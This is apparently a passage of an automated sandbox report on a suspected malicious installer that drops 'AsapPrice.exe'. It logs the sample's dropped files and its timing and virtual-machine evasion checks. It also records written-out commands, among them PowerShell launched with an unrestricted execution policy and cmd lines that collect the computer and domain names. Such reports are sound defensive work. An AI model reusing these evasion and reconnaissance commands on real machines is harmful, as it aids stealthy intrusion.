Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened / queried: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7709Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1095Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8077
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 738
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4204
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1450
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1596
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 459
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 881
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1292
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1286
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7730
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1896
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5701
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4111
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2917
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1506
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2016
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1900
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1226
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1365
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1602
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\vk_swiftshader.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\resources\elevate.exeJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\vulkan-1.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\libGLESv2.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\nsis7z.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\System.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\vulkan-1.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\vk_swiftshader.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\libEGL.dllJump to dropped file
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\d3dcompiler_47.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2572Thread sleep count: 7709 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624Thread sleep count: 1095 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4112Thread sleep time: -3689348814741908s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5700Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3252Thread sleep count: 8077 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656Thread sleep count: 738 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4140Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3752Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2528Thread sleep count: 4204 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3736Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3856Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4860Thread sleep count: 1450 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8160Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860Thread sleep count: 1093 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6908Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012Thread sleep count: 1596 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1796Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7248Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5668Thread sleep count: 3250 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6048Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5668Thread sleep count: 459 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5352Thread sleep count: 881 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6856Thread sleep count: 1292 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2800Thread sleep count: 1286 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7608Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1944Thread sleep count: 7730 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2280Thread sleep count: 1896 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2240Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1832Thread sleep count: 5701 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3740Thread sleep count: 4111 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6624Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5892Thread sleep count: 2917 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5608Thread sleep count: 119 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2188Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6876Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 896Thread sleep count: 1506 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2420Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7792Thread sleep count: 2016 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2220Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8136Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 872Thread sleep count: 1900 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4980Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5484Thread sleep count: 1226 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5588Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2068Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5328Thread sleep count: 1365 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2988Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2624Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2564Thread sleep count: 1602 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8160Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
Source: C:\Users\user\Desktop\LN1lgDlZ8e.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppDataJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrOJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\userJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeFile opened: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\resourcesJump to behavior
Source: AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: VMware Fusion 4 has corrupt rendering with Win Vista+
Source: AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A4815000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: VMware can crash with older drivers and WebGL content
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1880 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc" --mojo-platform-channel-handle=2196 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
